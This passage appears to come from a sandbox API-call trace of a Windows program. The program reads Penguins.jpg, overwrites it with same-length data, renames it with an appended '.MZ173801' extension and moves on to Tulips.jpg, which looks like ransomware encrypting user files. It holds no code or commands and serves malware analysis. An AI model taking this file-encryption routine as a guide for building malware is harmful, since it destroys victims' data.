lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0143.914] GetCurrentThreadId () returned 0x9fc [0143.914] GetCurrentThreadId () returned 0x9fc [0143.914] GetCurrentThreadId () returned 0x9fc [0143.915] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 428 [0143.915] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x7a13fc, cbMultiByte=428, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", lpUsedDefaultChar=0x0) returned 428 [0143.915] GetCurrentThreadId () returned 0x9fc [0143.915] GetCurrentThreadId () returned 0x9fc [0143.915] GetCurrentThreadId () returned 0x9fc [0143.915] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Penguins.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\penguins.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x224 [0143.915] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b8*=0) returned 0x0 [0143.915] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0143.915] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0xbde6b [0143.915] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0143.915] VirtualAlloc (lpAddress=0x0, dwSize=0xc0000, flAllocationType=0x101000, flProtect=0x4) returned 0x7eee0000 [0143.916] ReadFile (in: hFile=0x224, lpBuffer=0x7eee0010, nNumberOfBytesToRead=0xbde6b, lpNumberOfBytesRead=0x18f6c4, lpOverlapped=0x0 | out: lpBuffer=0x7eee0010*, lpNumberOfBytesRead=0x18f6c4*=0xbde6b, lpOverlapped=0x0) returned 1 [0143.953] CloseHandle (hObject=0x224) returned 1 [0143.953] VirtualAlloc (lpAddress=0x0, dwSize=0xc0000, flAllocationType=0x101000, flProtect=0x4) returned 0x7ee20000 [0143.958] VirtualAlloc (lpAddress=0x0, dwSize=0x70000, flAllocationType=0x101000, flProtect=0x4) returned 0x7edb0000 [0143.965] VirtualQuery (in: lpAddress=0x7ee20000, lpBuffer=0x18f60c, dwLength=0x1c | out: lpBuffer=0x18f60c*(BaseAddress=0x7ee20000, AllocationBase=0x7ee20000, AllocationProtect=0x4, RegionSize=0xc0000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0143.965] VirtualAlloc (lpAddress=0x0, dwSize=0x90000, flAllocationType=0x101000, flProtect=0x4) returned 0x7ed20000 [0143.981] VirtualQuery (in: lpAddress=0x7edb0000, lpBuffer=0x18f60c, dwLength=0x1c | out: lpBuffer=0x18f60c*(BaseAddress=0x7edb0000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x70000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0143.982] VirtualAlloc (lpAddress=0x7edb0000, dwSize=0x30000, flAllocationType=0x2000, flProtect=0x4) returned 0x7edb0000 [0143.982] VirtualAlloc (lpAddress=0x7edb0000, dwSize=0x30000, flAllocationType=0x1000, flProtect=0x4) returned 0x7edb0000 [0144.001] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Penguins.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\penguins.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x224 [0144.008] WriteFile (in: hFile=0x224, lpBuffer=0x7ee20010*, nNumberOfBytesToWrite=0xbde6b, lpNumberOfBytesWritten=0x18f6d0, lpOverlapped=0x0 | out: lpBuffer=0x7ee20010*, lpNumberOfBytesWritten=0x18f6d0*=0xbde6b, lpOverlapped=0x0) returned 1 [0144.036] CloseHandle (hObject=0x224) returned 1 [0144.036] MoveFileW (lpExistingFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Penguins.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\penguins.jpg"), lpNewFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Penguins.jpg.MZ173801" (normalized: "c:\\users\\public\\pictures\\sample pictures\\penguins.jpg.mz173801")) returned 1 [0144.037] VirtualFree (lpAddress=0x7eee0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0144.041] VirtualFree (lpAddress=0x7ee20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0144.046] VirtualQuery (in: lpAddress=0x7ed20000, lpBuffer=0x18f6c8, dwLength=0x1c | out: lpBuffer=0x18f6c8*(BaseAddress=0x7ed20000, AllocationBase=0x7ed20000, AllocationProtect=0x4, RegionSize=0x90000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0144.046] VirtualFree (lpAddress=0x7ed20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0144.051] VirtualQuery (in: lpAddress=0x7edb0000, lpBuffer=0x18f6c8, dwLength=0x1c | out: lpBuffer=0x18f6c8*(BaseAddress=0x7edb0000, AllocationBase=0x7edb0000, AllocationProtect=0x4, RegionSize=0x30000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0144.051] VirtualFree (lpAddress=0x7edb0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0144.052] GetCurrentThreadId () returned 0x9fc [0144.052] GetCurrentThreadId () returned 0x9fc [0144.052] GetCurrentThreadId () returned 0x9fc [0144.052] GetCurrentThreadId () returned 0x9fc [0144.052] GetCurrentThreadId () returned 0x9fc [0144.052] GetCurrentThreadId () returned 0x9fc [0144.052] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x97958, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Tulips.jpg", cAlternateFileName="")) returned 1 [0144.052] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0144.052] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.052] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Tulips.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\tulips.jpg"), fInfoLevelId=0x0, lpFileInformation=0x18f704 | out: lpFileInformation=0x18f704*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x97958)) returned 1 [0144.054] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0144.054] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0144.055] GetCurrentThreadId () returned 0x9fc [0144.055] GetCurrentThreadId () returned 0x9fc [0144.055] GetCurrentThreadId () returned 0x9fc [0144.055] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 428 [0144.055] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x7a13fc, cbMultiByte=428, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 